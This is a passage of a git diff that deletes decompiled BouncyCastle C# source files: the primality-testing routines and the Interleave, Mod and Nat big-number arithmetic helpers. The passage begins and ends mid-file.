} - if (!bigInteger4.Equals(One)) - { - bigInteger5 = bigInteger4; - bigInteger4 = bigInteger4.ModPow(Two, candidate); - if (!bigInteger4.Equals(One)) - { - bigInteger5 = bigInteger4; - } - } - bigInteger3 = bigInteger5.Subtract(One).Gcd(candidate); - if (bigInteger3.CompareTo(One) > 0) - { - return MROutput.ProvablyCompositeWithFactor(bigInteger3); - } - return MROutput.ProvablyCompositeNotPrimePower(); - } - return MROutput.ProbablyPrime(); - } - - public static bool HasAnySmallFactors(BigInteger candidate) - { - CheckCandidate(candidate, "candidate"); - return ImplHasAnySmallFactors(candidate); - } - - public static bool IsMRProbablePrime(BigInteger candidate, SecureRandom random, int iterations) - { - CheckCandidate(candidate, "candidate"); - if (random == null) - { - throw new ArgumentException("cannot be null", "random"); - } - if (iterations < 1) - { - throw new ArgumentException("must be > 0", "iterations"); - } - if (candidate.BitLength == 2) - { - return true; - } - if (!candidate.TestBit(0)) - { - return false; - } - BigInteger bigInteger = candidate.Subtract(One); - BigInteger max = candidate.Subtract(Two); - int lowestSetBit = bigInteger.GetLowestSetBit(); - BigInteger m = bigInteger.ShiftRight(lowestSetBit); - for (int i = 0; i < iterations; i++) - { - BigInteger b = BigIntegers.CreateRandomInRange(Two, max, random); - if (!ImplMRProbablePrimeToBase(candidate, bigInteger, m, lowestSetBit, b)) - { - return false; - } - } - return true; - } - - public static bool IsMRProbablePrimeToBase(BigInteger candidate, BigInteger baseValue) - { - CheckCandidate(candidate, "candidate"); - CheckCandidate(baseValue, "baseValue"); - if (baseValue.CompareTo(candidate.Subtract(One)) >= 0) - { - throw new ArgumentException("must be < ('candidate' - 1)", "baseValue"); - } - if (candidate.BitLength == 2) - { - return true; - } - BigInteger bigInteger = candidate.Subtract(One); - int lowestSetBit = bigInteger.GetLowestSetBit(); - BigInteger m = bigInteger.ShiftRight(lowestSetBit); - return ImplMRProbablePrimeToBase(candidate, bigInteger, m, lowestSetBit, baseValue); - } - - private static void CheckCandidate(BigInteger n, string name) - { - if (n == null || n.SignValue < 1 || n.BitLength < 2) - { - throw new ArgumentException("must be non-null and >= 2", name); - } - } - - private static bool ImplHasAnySmallFactors(BigInteger x) - { - int num = 223092870; - int intValue = x.Mod(BigInteger.ValueOf(num)).IntValue; - if (intValue % 2 == 0 || intValue % 3 == 0 || intValue % 5 == 0 || intValue % 7 == 0 || intValue % 11 == 0 || intValue % 13 == 0 || intValue % 17 == 0 || intValue % 19 == 0 || intValue % 23 == 0) - { - return true; - } - num = 58642669; - intValue = x.Mod(BigInteger.ValueOf(num)).IntValue; - if (intValue % 29 == 0 || intValue % 31 == 0 || intValue % 37 == 0 || intValue % 41 == 0 || intValue % 43 == 0) - { - return true; - } - num = 600662303; - intValue = x.Mod(BigInteger.ValueOf(num)).IntValue; - if (intValue % 47 == 0 || intValue % 53 == 0 || intValue % 59 == 0 || intValue % 61 == 0 || intValue % 67 == 0) - { - return true; - } - num = 33984931; - intValue = x.Mod(BigInteger.ValueOf(num)).IntValue; - if (intValue % 71 == 0 || intValue % 73 == 0 || intValue % 79 == 0 || intValue % 83 == 0) - { - return true; - } - num = 89809099; - intValue = x.Mod(BigInteger.ValueOf(num)).IntValue; - if (intValue % 89 == 0 || intValue % 97 == 0 || intValue % 101 == 0 || intValue % 103 == 0) - { - return true; - } - num = 167375713; - intValue = x.Mod(BigInteger.ValueOf(num)).IntValue; - if (intValue % 107 == 0 || intValue % 109 == 0 || intValue % 113 == 0 || intValue % 127 == 0) - { - return true; - } - num = 371700317; - intValue = x.Mod(BigInteger.ValueOf(num)).IntValue; - if (intValue % 131 == 0 || intValue % 137 == 0 || intValue % 139 == 0 || intValue % 149 == 0) - { - return true; - } - num = 645328247; - intValue = x.Mod(BigInteger.ValueOf(num)).IntValue; - if (intValue % 151 == 0 || intValue % 157 == 0 || intValue % 163 == 0 || intValue % 167 == 0) - { - return true; - } - num = 1070560157; - intValue = x.Mod(BigInteger.ValueOf(num)).IntValue; - if (intValue % 173 == 0 || intValue % 179 == 0 || intValue % 181 == 0 || intValue % 191 == 0) - { - return true; - } - num = 1596463769; - intValue = x.Mod(BigInteger.ValueOf(num)).IntValue; - if (intValue % 193 == 0 || intValue % 197 == 0 || intValue % 199 == 0 || intValue % 211 == 0) - { - return true; - } - return false; - } - - private static bool ImplMRProbablePrimeToBase(BigInteger w, BigInteger wSubOne, BigInteger m, int a, BigInteger b) - { - BigInteger bigInteger = b.ModPow(m, w); - if (bigInteger.Equals(One) || bigInteger.Equals(wSubOne)) - { - return true; - } - bool result = false; - for (int i = 1; i < a; i++) - { - bigInteger = bigInteger.ModPow(Two, w); - if (bigInteger.Equals(wSubOne)) - { - result = true; - break; - } - if (bigInteger.Equals(One)) - { - return false; - } - } - return result; - } - - private static STOutput ImplSTRandomPrime(IDigest d, int length, byte[] primeSeed) - { - int digestSize = d.GetDigestSize(); - if (length < 33) - { - int num = 0; - byte[] array = new byte[digestSize]; - byte[] array2 = new byte[digestSize]; - do - { - Hash(d, primeSeed, array, 0); - Inc(primeSeed, 1); - Hash(d, primeSeed, array2, 0); - Inc(primeSeed, 1); - uint num2 = Extract32(array) ^ Extract32(array2); - num2 &= (uint)(-1 >>> 32 - length); - num2 |= (uint)((1 << length - 1) | 1); - num++; - if (IsPrime32(num2)) - { - return new STOutput(BigInteger.ValueOf(num2), primeSeed, num); - } - } - while (num <= 4 * length); - throw new InvalidOperationException("Too many iterations in Shawe-Taylor Random_Prime Routine"); - } - STOutput sTOutput = ImplSTRandomPrime(d, (length + 3) / 2, primeSeed); - BigInteger prime = sTOutput.Prime; - primeSeed = sTOutput.PrimeSeed; - int num3 = sTOutput.PrimeGenCounter; - int num4 = 8 * digestSize; - int num5 = (length - 1) / num4; - int num6 = num3; - BigInteger bigInteger = HashGen(d, primeSeed, num5 + 1); - bigInteger = bigInteger.Mod(One.ShiftLeft(length - 1)).SetBit(length - 1); - BigInteger bigInteger2 = prime.ShiftLeft(1); - BigInteger bigInteger3 = bigInteger.Subtract(One).Divide(bigInteger2).Add(One) - .ShiftLeft(1); - int num7 = 0; - BigInteger bigInteger4 = bigInteger3.Multiply(prime).Add(One); - while (true) - { - if (bigInteger4.BitLength > length) - { - bigInteger3 = One.ShiftLeft(length - 1).Subtract(One).Divide(bigInteger2) - .Add(One) - .ShiftLeft(1); - bigInteger4 = bigInteger3.Multiply(prime).Add(One); - } - num3++; - if (!ImplHasAnySmallFactors(bigInteger4)) - { - BigInteger bigInteger5 = HashGen(d, primeSeed, num5 + 1); - bigInteger5 = bigInteger5.Mod(bigInteger4.Subtract(Three)).Add(Two); - bigInteger3 = bigInteger3.Add(BigInteger.ValueOf(num7)); - num7 = 0; - BigInteger bigInteger6 = bigInteger5.ModPow(bigInteger3, bigInteger4); - if (bigInteger4.Gcd(bigInteger6.Subtract(One)).Equals(One) && bigInteger6.ModPow(prime, bigInteger4).Equals(One)) - { - return new STOutput(bigInteger4, primeSeed, num3); - } - } - else - { - Inc(primeSeed, num5 + 1); - } - if (num3 >= 4 * length + num6) - { - break; - } - num7 += 2; - bigInteger4 = bigInteger4.Add(bigInteger2); - } - throw new InvalidOperationException("Too many iterations in Shawe-Taylor Random_Prime Routine"); - } - - private static uint Extract32(byte[] bs) - { - uint num = 0u; - int num2 = System.Math.Min(4, bs.Length); - for (int i = 0; i < num2; i++) - { - uint num3 = bs[^(i + 1)]; - num |= num3 << 8 * i; - } - return num; - } - - private static void Hash(IDigest d, byte[] input, byte[] output, int outPos) - { - d.BlockUpdate(input, 0, input.Length); - d.DoFinal(output, outPos); - } - - private static BigInteger HashGen(IDigest d, byte[] seed, int count) - { - int digestSize = d.GetDigestSize(); - int num = count * digestSize; - byte[] array = new byte[num]; - for (int i = 0; i < count; i++) - { - num -= digestSize; - Hash(d, seed, array, num); - Inc(seed, 1); - } - return new BigInteger(1, array); - } - - private static void Inc(byte[] seed, int c) - { - int num = seed.Length; - while (c > 0 && --num >= 0) - { - c += seed[num]; - seed[num] = (byte)c; - c >>= 8; - } - } - - private static bool IsPrime32(uint x) - { - switch (x) - { - case 0u: - case 1u: - case 4u: - case 5u: - return x == 5; - case 2u: - case 3u: - return true; - default: - { - if ((x & 1) == 0 || x % 3 == 0 || x % 5 == 0) - { - return false; - } - uint[] array = new uint[8] { 1u, 7u, 11u, 13u, 17u, 19u, 23u, 29u }; - uint num = 0u; - int num2 = 1; - while (true) - { - if (num2 < array.Length) - { - uint num3 = num + array[num2]; - if (x % num3 == 0) - { - return x < 30; - } - num2++; - } - else - { - num += 30; - if (num >> 16 != 0 || num * num >= x) - { - break; - } - num2 = 0; - } - } - return true; - } - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Interleave.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Interleave.cs deleted file mode 100644 index b4a913b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Interleave.cs +++ /dev/null @@ -1,156 +0,0 @@ -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Interleave -{ - private const ulong M32 = 1431655765uL; - - private const ulong M64 = 6148914691236517205uL; - - private const ulong M64R = 12297829382473034410uL; - - internal static uint Expand8to16(uint x) - { - x &= 0xFF; - x = (x | (x << 4)) & 0xF0F; - x = (x | (x << 2)) & 0x3333; - x = (x | (x << 1)) & 0x5555; - return x; - } - - internal static uint Expand16to32(uint x) - { - x &= 0xFFFF; - x = (x | (x << 8)) & 0xFF00FF; - x = (x | (x << 4)) & 0xF0F0F0F; - x = (x | (x << 2)) & 0x33333333; - x = (x | (x << 1)) & 0x55555555; - return x; - } - - internal static ulong Expand32to64(uint x) - { - uint num = (x ^ (x >> 8)) & 0xFF00; - x ^= num ^ (num << 8); - num = (x ^ (x >> 4)) & 0xF000F0; - x ^= num ^ (num << 4); - num = (x ^ (x >> 2)) & 0xC0C0C0C; - x ^= num ^ (num << 2); - num = (x ^ (x >> 1)) & 0x22222222; - x ^= num ^ (num << 1); - return (((ulong)(x >> 1) & 0x55555555uL) << 32) | ((ulong)x & 0x55555555uL); - } - - internal static void Expand64To128(ulong x, ulong[] z, int zOff) - { - ulong num = (x ^ (x >> 16)) & 0xFFFF0000u; - x ^= num ^ (num << 16); - num = (x ^ (x >> 8)) & 0xFF000000FF00L; - x ^= num ^ (num << 8); - num = (x ^ (x >> 4)) & 0xF000F000F000F0L; - x ^= num ^ (num << 4); - num = (x ^ (x >> 2)) & 0xC0C0C0C0C0C0C0CL; - x ^= num ^ (num << 2); - num = (x ^ (x >> 1)) & 0x2222222222222222L; - x ^= num ^ (num << 1); - z[zOff] = x & 0x5555555555555555L; - z[zOff + 1] = (x >> 1) & 0x5555555555555555L; - } - - internal static void Expand64To128Rev(ulong x, ulong[] z, int zOff) - { - ulong num = (x ^ (x >> 16)) & 0xFFFF0000u; - x ^= num ^ (num << 16); - num = (x ^ (x >> 8)) & 0xFF000000FF00L; - x ^= num ^ (num << 8); - num = (x ^ (x >> 4)) & 0xF000F000F000F0L; - x ^= num ^ (num << 4); - num = (x ^ (x >> 2)) & 0xC0C0C0C0C0C0C0CL; - x ^= num ^ (num << 2); - num = (x ^ (x >> 1)) & 0x2222222222222222L; - x ^= num ^ (num << 1); - z[zOff] = x & 0xAAAAAAAAAAAAAAAAuL; - z[zOff + 1] = (x << 1) & 0xAAAAAAAAAAAAAAAAuL; - } - - internal static uint Shuffle(uint x) - { - uint num = (x ^ (x >> 8)) & 0xFF00; - x ^= num ^ (num << 8); - num = (x ^ (x >> 4)) & 0xF000F0; - x ^= num ^ (num << 4); - num = (x ^ (x >> 2)) & 0xC0C0C0C; - x ^= num ^ (num << 2); - num = (x ^ (x >> 1)) & 0x22222222; - x ^= num ^ (num << 1); - return x; - } - - internal static ulong Shuffle(ulong x) - { - ulong num = (x ^ (x >> 16)) & 0xFFFF0000u; - x ^= num ^ (num << 16); - num = (x ^ (x >> 8)) & 0xFF000000FF00L; - x ^= num ^ (num << 8); - num = (x ^ (x >> 4)) & 0xF000F000F000F0L; - x ^= num ^ (num << 4); - num = (x ^ (x >> 2)) & 0xC0C0C0C0C0C0C0CL; - x ^= num ^ (num << 2); - num = (x ^ (x >> 1)) & 0x2222222222222222L; - x ^= num ^ (num << 1); - return x; - } - - internal static uint Shuffle2(uint x) - { - uint num = (x ^ (x >> 7)) & 0xAA00AA; - x ^= num ^ (num << 7); - num = (x ^ (x >> 14)) & 0xCCCC; - x ^= num ^ (num << 14); - num = (x ^ (x >> 4)) & 0xF000F0; - x ^= num ^ (num << 4); - num = (x ^ (x >> 8)) & 0xFF00; - x ^= num ^ (num << 8); - return x; - } - - internal static uint Unshuffle(uint x) - { - uint num = (x ^ (x >> 1)) & 0x22222222; - x ^= num ^ (num << 1); - num = (x ^ (x >> 2)) & 0xC0C0C0C; - x ^= num ^ (num << 2); - num = (x ^ (x >> 4)) & 0xF000F0; - x ^= num ^ (num << 4); - num = (x ^ (x >> 8)) & 0xFF00; - x ^= num ^ (num << 8); - return x; - } - - internal static ulong Unshuffle(ulong x) - { - ulong num = (x ^ (x >> 1)) & 0x2222222222222222L; - x ^= num ^ (num << 1); - num = (x ^ (x >> 2)) & 0xC0C0C0C0C0C0C0CL; - x ^= num ^ (num << 2); - num = (x ^ (x >> 4)) & 0xF000F000F000F0L; - x ^= num ^ (num << 4); - num = (x ^ (x >> 8)) & 0xFF000000FF00L; - x ^= num ^ (num << 8); - num = (x ^ (x >> 16)) & 0xFFFF0000u; - x ^= num ^ (num << 16); - return x; - } - - internal static uint Unshuffle2(uint x) - { - uint num = (x ^ (x >> 8)) & 0xFF00; - x ^= num ^ (num << 8); - num = (x ^ (x >> 4)) & 0xF000F0; - x ^= num ^ (num << 4); - num = (x ^ (x >> 14)) & 0xCCCC; - x ^= num ^ (num << 14); - num = (x ^ (x >> 7)) & 0xAA00AA; - x ^= num ^ (num << 7); - return x; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Mod.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Mod.cs deleted file mode 100644 index d8d44c2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Mod.cs +++ /dev/null @@ -1,168 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Mod -{ - private static readonly SecureRandom RandomSource = new SecureRandom(); - - public static void Invert(uint[] p, uint[] x, uint[] z) - { - int num = p.Length; - if (Nat.IsZero(num, x)) - { - throw new ArgumentException("cannot be 0", "x"); - } - if (Nat.IsOne(num, x)) - { - Array.Copy(x, 0, z, 0, num); - return; - } - uint[] array = Nat.Copy(num, x); - uint[] array2 = Nat.Create(num); - array2[0] = 1u; - int xc = 0; - if ((array[0] & 1) == 0) - { - InversionStep(p, array, num, array2, ref xc); - } - if (Nat.IsOne(num, array)) - { - InversionResult(p, xc, array2, z); - return; - } - uint[] array3 = Nat.Copy(num, p); - uint[] array4 = Nat.Create(num); - int xc2 = 0; - int num2 = num; - while (true) - { - if (array[num2 - 1] == 0 && array3[num2 - 1] == 0) - { - num2--; - } - else if (Nat.Gte(num, array, array3)) - { - Nat.SubFrom(num, array3, array); - xc += Nat.SubFrom(num, array4, array2) - xc2; - InversionStep(p, array, num2, array2, ref xc); - if (Nat.IsOne(num, array)) - { - InversionResult(p, xc, array2, z); - return; - } - } - else - { - Nat.SubFrom(num, array, array3); - xc2 += Nat.SubFrom(num, array2, array4) - xc; - InversionStep(p, array3, num2, array4, ref xc2); - if (Nat.IsOne(num, array3)) - { - break; - } - } - } - InversionResult(p, xc2, array4, z); - } - - public static uint[] Random(uint[] p) - { - int num = p.Length; - uint[] array = Nat.Create(num); - uint num2 = p[num - 1]; - num2 |= num2 >> 1; - num2 |= num2 >> 2; - num2 |= num2 >> 4; - num2 |= num2 >> 8; - num2 |= num2 >> 16; - do - { - byte[] array2 = new byte[num << 2]; - RandomSource.NextBytes(array2); - Pack.BE_To_UInt32(array2, 0, array); - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = num - 1; - nint num4 = num3; - array3[num3] = array4[num4] & num2; - } - while (Nat.Gte(num, array, p)); - return array; - } - - public static void Add(uint[] p, uint[] x, uint[] y, uint[] z) - { - int len = p.Length; - if (Nat.Add(len, x, y, z) != 0) - { - Nat.SubFrom(len, p, z); - } - } - - public static void Subtract(uint[] p, uint[] x, uint[] y, uint[] z) - { - int len = p.Length; - if (Nat.Sub(len, x, y, z) != 0) - { - Nat.AddTo(len, p, z); - } - } - - private static void InversionResult(uint[] p, int ac, uint[] a, uint[] z) - { - if (ac < 0) - { - Nat.Add(p.Length, a, p, z); - } - else - { - Array.Copy(a, 0, z, 0, p.Length); - } - } - - private static void InversionStep(uint[] p, uint[] u, int uLen, uint[] x, ref int xc) - { - int len = p.Length; - int num = 0; - while (u[0] == 0) - { - Nat.ShiftDownWord(uLen, u, 0u); - num += 32; - } - int trailingZeroes = GetTrailingZeroes(u[0]); - if (trailingZeroes > 0) - { - Nat.ShiftDownBits(uLen, u, trailingZeroes, 0u); - num += trailingZeroes; - } - for (int i = 0; i < num; i++) - { - if ((x[0] & 1) != 0) - { - if (xc < 0) - { - xc += (int)Nat.AddTo(len, p, x); - } - else - { - xc += Nat.SubFrom(len, p, x); - } - } - Nat.ShiftDownBit(len, x, (uint)xc); - } - } - - private static int GetTrailingZeroes(uint x) - { - int num = 0; - while ((x & 1) == 0) - { - x >>= 1; - num++; - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat.cs deleted file mode 100644 index 884b964..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat.cs +++ /dev/null @@ -1,1232 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat -{ - private const ulong M = 4294967295uL; - - public static uint Add(int len, uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - for (int i = 0; i < len; i++) - { - num += (ulong)((long)x[i] + (long)y[i]); - z[i] = (uint)num; - num >>= 32; - } - return (uint)num; - } - - public static uint Add33At(int len, uint x, uint[] z, int zPos) - { - ulong num = (ulong)z[zPos] + (ulong)x; - z[zPos] = (uint)num; - num >>= 32; - num += (ulong)((long)z[zPos + 1] + 1L); - z[zPos + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, zPos + 2); - } - return 0u; - } - - public static uint Add33At(int len, uint x, uint[] z, int zOff, int zPos) - { - ulong num = (ulong)z[zOff + zPos] + (ulong)x; - z[zOff + zPos] = (uint)num; - num >>= 32; - num += (ulong)((long)z[zOff + zPos + 1] + 1L); - z[zOff + zPos + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, zOff, zPos + 2); - } - return 0u; - } - - public static uint Add33To(int len, uint x, uint[] z) - { - ulong num = (ulong)z[0] + (ulong)x; - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)z[1] + 1L); - z[1] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, 2); - } - return 0u; - } - - public static uint Add33To(int len, uint x, uint[] z, int zOff) - { - ulong num = (ulong)z[zOff] + (ulong)x; - z[zOff] = (uint)num; - num >>= 32; - num += (ulong)((long)z[zOff + 1] + 1L); - z[zOff + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, zOff, 2); - } - return 0u; - } - - public static uint AddBothTo(int len, uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - for (int i = 0; i < len; i++) - { - num += (ulong)((long)x[i] + (long)y[i] + z[i]); - z[i] = (uint)num; - num >>= 32; - } - return (uint)num; - } - - public static uint AddBothTo(int len, uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - for (int i = 0; i < len; i++) - { - num += (ulong)((long)x[xOff + i] + (long)y[yOff + i] + z[zOff + i]); - z[zOff + i] = (uint)num; - num >>= 32; - } - return (uint)num; - } - - public static uint AddDWordAt(int len, ulong x, uint[] z, int zPos) - { - ulong num = z[zPos] + (x & 0xFFFFFFFFu); - z[zPos] = (uint)num; - num >>= 32; - num += z[zPos + 1] + (x >> 32); - z[zPos + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, zPos + 2); - } - return 0u; - } - - public static uint AddDWordAt(int len, ulong x, uint[] z, int zOff, int zPos) - { - ulong num = z[zOff + zPos] + (x & 0xFFFFFFFFu); - z[zOff + zPos] = (uint)num; - num >>= 32; - num += z[zOff + zPos + 1] + (x >> 32); - z[zOff + zPos + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, zOff, zPos + 2); - } - return 0u; - } - - public static uint AddDWordTo(int len, ulong x, uint[] z) - { - ulong num = z[0] + (x & 0xFFFFFFFFu); - z[0] = (uint)num; - num >>= 32; - num += z[1] + (x >> 32); - z[1] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, 2); - } - return 0u; - } - - public static uint AddDWordTo(int len, ulong x, uint[] z, int zOff) - { - ulong num = z[zOff] + (x & 0xFFFFFFFFu); - z[zOff] = (uint)num; - num >>= 32; - num += z[zOff + 1] + (x >> 32); - z[zOff + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, zOff, 2); - } - return 0u; - } - - public static uint AddTo(int len, uint[] x, uint[] z) - { - ulong num = 0uL; - for (int i = 0; i < len; i++) - { - num += (ulong)((long)x[i] + (long)z[i]); - z[i] = (uint)num; - num >>= 32; - } - return (uint)num; - } - - public static uint AddTo(int len, uint[] x, int xOff, uint[] z, int zOff) - { - ulong num = 0uL; - for (int i = 0; i < len; i++) - { - num += (ulong)((long)x[xOff + i] + (long)z[zOff + i]); - z[zOff + i] = (uint)num; - num >>= 32; - } - return (uint)num; - } - - public static uint AddWordAt(int len, uint x, uint[] z, int zPos) - { - ulong num = (ulong)x + (ulong)z[zPos]; - z[zPos] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, zPos + 1); - } - return 0u; - } - - public static uint AddWordAt(int len, uint x, uint[] z, int zOff, int zPos) - { - ulong num = (ulong)x + (ulong)z[zOff + zPos]; - z[zOff + zPos] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, zOff, zPos + 1); - } - return 0u; - } - - public static uint AddWordTo(int len, uint x, uint[] z) - { - ulong num = (ulong)x + (ulong)z[0]; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, 1); - } - return 0u; - } - - public static uint AddWordTo(int len, uint x, uint[] z, int zOff) - { - ulong num = (ulong)x + (ulong)z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, zOff, 1); - } - return 0u; - } - - public static uint CAdd(int len, int mask, uint[] x, uint[] y, uint[] z) - { - uint num = (uint)(-(mask & 1)); - ulong num2 = 0uL; - for (int i = 0; i < len; i++) - { - num2 += (ulong)((long)x[i] + (long)(y[i] & num)); - z[i] = (uint)num2; - num2 >>= 32; - } - return (uint)num2; - } - - public static void CMov(int len, int mask, uint[] x, int xOff, uint[] z, int zOff) - { - uint num = (uint)(-(mask & 1)); - for (int i = 0; i < len; i++) - { - uint num2 = z[zOff + i]; - uint num3 = num2 ^ x[xOff + i]; - num2 ^= num3 & num; - z[zOff + i] = num2; - } - } - - public static void CMov(int len, int mask, int[] x, int xOff, int[] z, int zOff) - { - mask = -(mask & 1); - for (int i = 0; i < len; i++) - { - int num = z[zOff + i]; - int num2 = num ^ x[xOff + i]; - num ^= num2 & mask; - z[zOff + i] = num; - } - } - - public static void Copy(int len, uint[] x, uint[] z) - { - Array.Copy(x, 0, z, 0, len); - } - - public static uint[] Copy(int len, uint[] x) - { - uint[] array = new uint[len]; - Array.Copy(x, 0, array, 0, len); - return array; - } - - public static void Copy(int len, uint[] x, int xOff, uint[] z, int zOff) - { - Array.Copy(x, xOff, z, zOff, len); - } - - public static uint[] Create(int len) - { - return new uint[len]; - } - - public static ulong[] Create64(int len) - { - return new ulong[len]; - } - - public static int Dec(int len, uint[] z) - { - for (int i = 0; i < len; i++) - { - uint[] array2; - uint[] array = (array2 = z); - int num = i; - nint num2 = num; - if ((array[num] = array2[num2] - 1) != uint.MaxValue) - { - return 0; - } - } - return -1; - } - - public static int Dec(int len, uint[] x, uint[] z) - { - int i = 0; - while (i < len) - { - uint num = (z[i] = x[i] - 1); - i++; - if (num != uint.MaxValue) - { - for (; i < len; i++) - { - z[i] = x[i]; - } - return 0; - } - } - return -1; - } - - public static int DecAt(int len, uint[] z, int zPos) - { - for (int i = zPos; i < len; i++) - { - uint[] array2; - uint[] array = (array2 = z); - int num = i; - nint num2 = num; - if ((array[num] = array2[num2] - 1) != uint.MaxValue) - { - return 0; - } - } - return -1; - } - - public static int DecAt(int len, uint[] z, int zOff, int zPos) - { - for (int i = zPos; i < len; i++) - { - uint[] array2; - uint[] array = (array2 = z); - int num = zOff + i; - nint num2 = num; - if ((array[num] = array2[num2] - 1) != uint.MaxValue) - { - return 0; - } - } - return -1; - } - - public static bool Eq(int len, uint[] x, uint[] y) - { - for (int num = len - 1; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static uint[] FromBigInteger(int bits, BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > bits) - { - throw new ArgumentException(); - } - int len = bits + 31 >> 5; - uint[] array = Create(len); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (uint)x.IntValue; - x = x.ShiftRight(32); - } - return array; - } - - public static uint GetBit(uint[] x, int bit) - { - if (bit == 0) - { - return x[0] & 1; - } - int num = bit >> 5; - if (num < 0 || num >= x.Length) - { - return 0u; - } - int num2 = bit & 0x1F; - return (x[num] >> num2) & 1; - } - - public static bool Gte(int len, uint[] x, uint[] y) - { - for (int num = len - 1; num >= 0; num--) - { - uint num2 = x[num]; - uint num3 = y[num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static uint Inc(int len, uint[] z) - { - for (int i = 0; i < len; i++) - { - uint[] array2; - uint[] array = (array2 = z); - int num = i; - nint num2 = num; - if ((array[num] = array2[num2] + 1) != 0) - { - return 0u; - } - } - return 1u; - } - - public static uint Inc(int len, uint[] x, uint[] z) - { - int i = 0; - while (i < len) - { - uint num = (z[i] = x[i] + 1); - i++; - if (num != 0) - { - for (; i < len; i++) - { - z[i] = x[i]; - } - return 0u; - } - } - return 1u; - } - - public static uint IncAt(int len, uint[] z, int zPos) - { - for (int i = zPos; i < len; i++) - { - uint[] array2; - uint[] array = (array2 = z); - int num = i; - nint num2 = num; - if ((array[num] = array2[num2] + 1) != 0) - { - return 0u; - } - } - return 1u; - } - - public static uint IncAt(int len, uint[] z, int zOff, int zPos) - { - for (int i = zPos; i < len; i++) - { - uint[] array2; - uint[] array = (array2 = z); - int num = zOff + i; - nint num2 = num; - if ((array[num] = array2[num2] + 1) != 0) - { - return 0u; - } - } - return 1u; - } - - public static bool IsOne(int len, uint[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < len; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero(int len, uint[] x) - { - if (x[0] != 0) - { - return false; - } - for (int i = 1; i < len; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static void Mul(int len, uint[] x, uint[] y, uint[] zz) - { - zz[len] = MulWord(len, x[0], y, zz); - for (int i = 1; i < len; i++) - { - zz[i + len] = MulWordAddTo(len, x[i], y, 0, zz, i); - } - } - - public static void Mul(int len, uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - zz[zzOff + len] = MulWord(len, x[xOff], y, yOff, zz, zzOff); - for (int i = 1; i < len; i++) - { - zz[zzOff + i + len] = MulWordAddTo(len, x[xOff + i], y, yOff, zz, zzOff + i); - } - } - - public static void Mul(uint[] x, int xOff, int xLen, uint[] y, int yOff, int yLen, uint[] zz, int zzOff) - { - zz[zzOff + yLen] = MulWord(yLen, x[xOff], y, yOff, zz, zzOff); - for (int i = 1; i < xLen; i++) - { - zz[zzOff + i + yLen] = MulWordAddTo(yLen, x[xOff + i], y, yOff, zz, zzOff + i); - } - } - - public static uint MulAddTo(int len, uint[] x, uint[] y, uint[] zz) - { - ulong num = 0uL; - for (int i = 0; i < len; i++) - { - ulong num2 = (ulong)MulWordAddTo(len, x[i], y, 0, zz, i) & 0xFFFFFFFFuL; - num2 += num + ((ulong)zz[i + len] & 0xFFFFFFFFuL); - zz[i + len] = (uint)num2; - num = num2 >> 32; - } - return (uint)num; - } - - public static uint MulAddTo(int len, uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = 0uL; - for (int i = 0; i < len; i++) - { - ulong num2 = (ulong)MulWordAddTo(len, x[xOff + i], y, yOff, zz, zzOff) & 0xFFFFFFFFuL; - num2 += num + ((ulong)zz[zzOff + len] & 0xFFFFFFFFuL); - zz[zzOff + len] = (uint)num2; - num = num2 >> 32; - zzOff++; - } - return (uint)num; - } - - public static uint Mul31BothAdd(int len, uint a, uint[] x, uint b, uint[] y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = a; - ulong num3 = b; - int num4 = 0; - do - { - num += num2 * x[num4] + num3 * y[num4] + z[zOff + num4]; - z[zOff + num4] = (uint)num; - num >>= 32; - } - while (++num4 < len); - return (uint)num; - } - - public static uint MulWord(int len, 